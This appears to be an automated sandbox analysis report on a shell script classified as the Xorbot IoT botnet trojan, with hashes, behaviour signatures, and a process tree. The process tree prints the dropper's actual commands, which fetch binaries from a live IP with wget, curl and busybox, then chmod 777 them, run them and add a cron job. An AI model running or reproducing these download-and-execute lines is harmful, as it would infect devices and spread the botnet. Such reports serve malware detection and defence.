Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    137s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    01/12/2024, 16:23

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e226f4e480e52ae79826b49d0b0f8c54

  • SHA1

    004bd67b8f4733cf6527a66931412d90273f30bd

  • SHA256

    6a9c67ca0847c6e365c8305e49d8cc672fd4191ba319611b95d18e88103ebda8

  • SHA512

    45c9c63383eae1a4593d5da156e0ea505aea3e0faff239cc3ef33502dee391bc612d326e8c8c6d756593f2d114af4d946c1f955eaf6a2e2efaf0d036d1bf1337

  • SSDEEP

    96:fpGgtoc86vzNi/ME8bPUXg5+OOc86vz+7lV2cEeq9ME8bP8h:fpGCoc86vzQhc86vz5

Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1514) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1506
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1507
        • /usr/bin/wget
          wget http://216.126.231.240/bins/MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
          2⤵
          • Writes file to tmp directory
          PID:1508
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
          2⤵
          • Writes file to tmp directory
          PID:1520
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
          2⤵
          • Writes file to tmp directory
          PID:1521
        • /bin/chmod
          chmod 777 MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
          2⤵
          • File and Directory Permissions Modification
          PID:1522
        • /tmp/MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
          ./MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
          2⤵
          • Executes dropped EXE
          PID:1523
        • /bin/rm
          rm MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
          2⤵
            PID:1525
          • /usr/bin/wget
            wget http://216.126.231.240/bins/mEa6MjYjkbUdQJioCehS0YFEO2m6kBKboP
            2⤵
            • Writes file to tmp directory
            PID:1526
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/mEa6MjYjkbUdQJioCehS0YFEO2m6kBKboP
            2⤵
            • Writes file to tmp directory
            PID:1527
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/mEa6MjYjkbUdQJioCehS0YFEO2m6kBKboP
            2⤵
            • Writes file to tmp directory
            PID:1528
          • /bin/chmod
            chmod 777 mEa6MjYjkbUdQJioCehS0YFEO2m6kBKboP
            2⤵
            • File and Directory Permissions Modification
            PID:1529
          • /tmp/mEa6MjYjkbUdQJioCehS0YFEO2m6kBKboP
            ./mEa6MjYjkbUdQJioCehS0YFEO2m6kBKboP
            2⤵
            • Executes dropped EXE
            PID:1530
          • /bin/rm
            rm mEa6MjYjkbUdQJioCehS0YFEO2m6kBKboP
            2⤵
              PID:1532
            • /usr/bin/wget
              wget http://216.126.231.240/bins/ZZxAVLYGggcBqOgsNpHmAnUM8o0KkCUPk3
              2⤵
              • Writes file to tmp directory
              PID:1533
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/ZZxAVLYGggcBqOgsNpHmAnUM8o0KkCUPk3
              2⤵
              • Writes file to tmp directory
              PID:1534
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/ZZxAVLYGggcBqOgsNpHmAnUM8o0KkCUPk3
              2⤵
              • Writes file to tmp directory
              PID:1535
            • /bin/chmod
              chmod 777 ZZxAVLYGggcBqOgsNpHmAnUM8o0KkCUPk3
              2⤵
              • File and Directory Permissions Modification
              PID:1536
            • /tmp/ZZxAVLYGggcBqOgsNpHmAnUM8o0KkCUPk3
              ./ZZxAVLYGggcBqOgsNpHmAnUM8o0KkCUPk3
              2⤵
              • Executes dropped EXE
              PID:1537
            • /bin/rm
              rm ZZxAVLYGggcBqOgsNpHmAnUM8o0KkCUPk3
              2⤵
                PID:1539
              • /usr/bin/wget
                wget http://216.126.231.240/bins/yyELIJ0zDjAo1fTbn4umxPPighoSQXIsqZ
                2⤵
                • Writes file to tmp directory
                PID:1540
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/yyELIJ0zDjAo1fTbn4umxPPighoSQXIsqZ
                2⤵
                • Writes file to tmp directory
                PID:1541
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/yyELIJ0zDjAo1fTbn4umxPPighoSQXIsqZ
                2⤵
                • Writes file to tmp directory
                PID:1542
              • /bin/chmod
                chmod 777 yyELIJ0zDjAo1fTbn4umxPPighoSQXIsqZ
                2⤵
                • File and Directory Permissions Modification
                PID:1543
              • /tmp/yyELIJ0zDjAo1fTbn4umxPPighoSQXIsqZ
                ./yyELIJ0zDjAo1fTbn4umxPPighoSQXIsqZ
                2⤵
                • Executes dropped EXE
                PID:1544
              • /bin/rm
                rm yyELIJ0zDjAo1fTbn4umxPPighoSQXIsqZ
                2⤵
                  PID:1546
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/x1cN9upDod2rwRtwrsPls4tUXBeyB8LIEI
                  2⤵
                  • Writes file to tmp directory
                  PID:1547
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/x1cN9upDod2rwRtwrsPls4tUXBeyB8LIEI
                  2⤵
                  • Writes file to tmp directory
                  PID:1548
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/x1cN9upDod2rwRtwrsPls4tUXBeyB8LIEI
                  2⤵
                  • Writes file to tmp directory
                  PID:1549
                • /bin/chmod
                  chmod 777 x1cN9upDod2rwRtwrsPls4tUXBeyB8LIEI
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1550
                • /tmp/x1cN9upDod2rwRtwrsPls4tUXBeyB8LIEI
                  ./x1cN9upDod2rwRtwrsPls4tUXBeyB8LIEI
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:1551
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:1553
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:1554
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:1555
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:1556
                      • /bin/rm
                        rm x1cN9upDod2rwRtwrsPls4tUXBeyB8LIEI
                        2⤵
                          PID:1558
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/FlYpBJdpMyKyLXdA7kjGyxFqvizPyYM2bx
                          2⤵
                            PID:1561

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                          Download Submit

                        • /tmp/ZZxAVLYGggcBqOgsNpHmAnUM8o0KkCUPk3
                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                          Download Submit

                        • /tmp/mEa6MjYjkbUdQJioCehS0YFEO2m6kBKboP
                          Filesize

                          127KB

                          MD5

                          89077b7bd4bcafca7713be43635c4862

                          SHA1

                          fc02edb8fba29ea8ee99e6157ef8560334530052

                          SHA256

                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                          SHA512

                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                          Download Submit

                        • /tmp/x1cN9upDod2rwRtwrsPls4tUXBeyB8LIEI
                          Filesize

                          98KB

                          MD5

                          5141342d0df8699fa32a6b066a0c592e

                          SHA1

                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                          SHA256

                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                          SHA512

                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                          Download Submit

                        • /tmp/yyELIJ0zDjAo1fTbn4umxPPighoSQXIsqZ
                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                          Download Submit

                        • /var/spool/cron/crontabs/tmp.vM9hbw
                          Filesize

                          210B

                          MD5

                          23da7a67879269241e7f1b99f7c0707c

                          SHA1

                          ca3b2b809c7283ce0709c66d2412440cadf473e4

                          SHA256

                          0212f4e7114875a09d5ccfb48847eb9f73edcec780f5b4e5b26c58450bbc2934

                          SHA512

                          c2eef378c1605b9ea48b20efcd88d458a255d494adceb65d696ddf91605311e65cc5ad93081599cca1d20bca3417ffb31fb4bfce2897dc0073262a3c5d0cb1dd

                          Download Submit